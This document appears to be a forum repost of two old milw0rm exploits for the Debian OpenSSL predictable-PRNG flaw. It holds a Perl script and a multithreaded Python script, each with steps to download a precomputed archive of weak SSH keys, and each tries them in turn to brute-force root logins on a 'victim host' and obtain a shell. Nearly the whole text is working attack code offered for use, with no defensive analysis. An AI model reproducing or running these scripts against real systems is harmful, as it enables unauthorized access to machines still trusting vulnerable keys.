Exploit SSH ---> OpenSSL

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Debian OpenSSL Predictable PRNG Bruteforce SSH Exploit

the debian openssl issue leads that there are only 65.536 possible ssh
keys generated, cause the only entropy is the pid of the process
generating the key.

This leads to that the following perl script can be used with the
precalculated ssh keys to brute force the ssh login. It works if such a
keys is installed on a non-patched debian or any other system manual
configured to.

On an unpatched system, which doesn't need to be debian, do the following:

keys provided by HD Moore - http://metasploit.com/users/hdm/tools/debian-openssl/

1. Download http://sugar.metasploit.com/debian_ssh_rsa_2048_x86.tar.bz2
http://milw0rm.com/sploits/debian_ssh_rsa_2048_x86.tar.bz2

2. Extract it to a directory

3. Enter into the /root/.ssh/authorized_keys a SSH RSA key with 2048
Bits, generated on an upatched debian (this is the key this exploit will
break)

4. Run the perl script and give it the location to where you extracted
the bzip2 mentioned.

#!/usr/bin/perl
my $keysPerConnect = 6;
unless ($ARGV[1]) {
print "Syntax : ./exploiter.pl pathToSSHPrivateKeys SSHhostToTry\n";
print "Example: ./exploiter.pl /root/keys/ 127.0.0.1\n";
print "By mm@deadbeef.de\n";
exit 0;
}
chdir($ARGV[0]);
opendir(A, $ARGV[0]) || die("opendir");
while ($_ = readdir(A)) {
chomp;
next unless m,^\d+$,;
push(@a, $_);
if (scalar(@a) > $keysPerConnect) {
system("echo ".join(" ", @a)."; ssh -l root ".join(" ", map { "-i
".$_ } @a)." ".$ARGV[1]);
@a = ();
}
}

5. Enjoy the shell after some minutes (less than 20 minutes)

Regards,
Markus Mueller
mm@deadbeef.de

# milw0rm.com [2008-05-15]



Y TAMBIEN

Debian OpenSSL Predictable PRNG Bruteforce SSH Exploit (Python)


#!/bin/python
# This program is free software; you can redistribute it and/or modify
# it under the terms of the GNU General Public License as published by
# the Free Software Foundation; either version 2 of the License, or
# (at your option) any later version.
#
# This program is distributed in the hope that it will be useful,
# but WITHOUT ANY WARRANTY; without even the implied warranty of
# MERCHANTABILITY or FITNESS FOR A PARTICULAR PURPOSE. See the
# GNU General Public License for more details.
#
# You should have received a copy of the GNU General Public License
# along with this program; if not, write to the Free Software
# Foundation, Inc., 51 Franklin Street, Fifth Floor, Boston,
# MA 02110-1301, USA.
############################################################################
# Autor: hitz - WarCat team (warcat.no-ip.org)
# Collaborator: pretoriano
#
# 1. Download http://sugar.metasploit.com/debian_ssh_rsa_2048_x86.tar.bz2
# http://milw0rm.com/sploits/debian_ssh_rsa_2048_x86.tar.bz2
#
# 2. Extract it to a directory
#
# 3. Execute the python script
# - something like: python exploit.py /home/hitz/keys 192.168.1.240 root 22 5
# - execute: python exploit.py (without parameters) to display the help
# - if the key is found, the script shows something like that:
# Key Found in file: ba7a6b3be3dac7dcd359w20b4afd5143-1121
# Execute: ssh -lroot -p22 -i /home/hitz/keys/ba7a6b3be3dac7dcd359w20b4afd5143-1121 192.168.1.240
############################################################################


import Queue
import os
import string
import time
from threading import Thread
import sys

#This class only has a boolean, which will be True if some thread find the key
class End():
def __init__(self):
self.end = False

def Finish(self):
self.end = True

def GetEnd(self):
return self.end


#This is the thread class
class Connection(Thread):
def __init__(self,QueueDir,TheEnd,dir,host,user,port='22'):
Thread.__init__(self)
self.QueueDir = QueueDir
self.TheEnd = TheEnd
self.dir = dir
self.host = host
self.user = user
self.port = port

def run(self):
while (not self.TheEnd.GetEnd()) and (not self.QueueDir.empty()):
key = self.QueueDir.get()

cmd = 'ssh -l ' + self.user
cmd = cmd + ' -p ' + self.port
cmd = cmd + ' -o PasswordAuthentication=no'
cmd = cmd + ' -i ' + self.dir + '/' + key
cmd = cmd + ' ' + self.host + ' exit; echo $?'

pin,pout,perr = os.popen3(cmd, 'r')
pin.close()

#To debug descoment the next line. This will show the errors reported by ssh
#print perr.read()

if pout.read().lstrip().rstrip() == '0':
self.TheEnd.Finish()
print ''
print 'Key Found in file: '+ key
print 'Execute: ssh -l%s -p%s -i %s/%s %s' %(self.user,self.port,self.dir,key,self.host)
print ''

print '\n-OpenSSL Debian exploit- by ||WarCat team|| warcat.no-ip.org'

if len(sys.argv) < 4:
print './exploit.py [[port] [threads]]'
print ' : Path to SSH privatekeys (ex. /home/john/keys) without final slash'
print ' : The victim host'
print ' : The user of the victim host'
print ' [port]: The SSH port of the victim host (default 22)'
print ' [threads]: Number of threads (default 4) Too big numer is bad'

sys.exit(1)

dir = sys.argv[1]
host = sys.argv[2]
user = sys.argv[3]

if len(sys.argv) <= 4:
port='22'
threads=4
else:
if len(sys.argv) <=5:
port=sys.argv[4]
threads = 4

else:
port=sys.argv[4]
threads = sys.argv[5]

ListDir = os.listdir(dir)
QueueDir=Queue.Queue()
TheEnd = End()

for i in range(len(ListDir)):
if ListDir[i].find('.pub') == -1:
QueueDir.put(ListDir[i])

initsize = QueueDir.qsize()
tested = 0

for i in range(0,int(threads)):
Connection(QueueDir,TheEnd,dir,host,user,port).start()


while (not TheEnd.GetEnd()) and (not QueueDir.empty()):
time.sleep(5)
actsize = QueueDir.qsize()
speed = (initsize - tested - actsize)/5
tested = initsize - actsize

print 'Tested %i keys | Remaining %i keys | Aprox. Speed %i/sec' %(tested,actsize,speed)

# milw0rm.com [2008-06-01]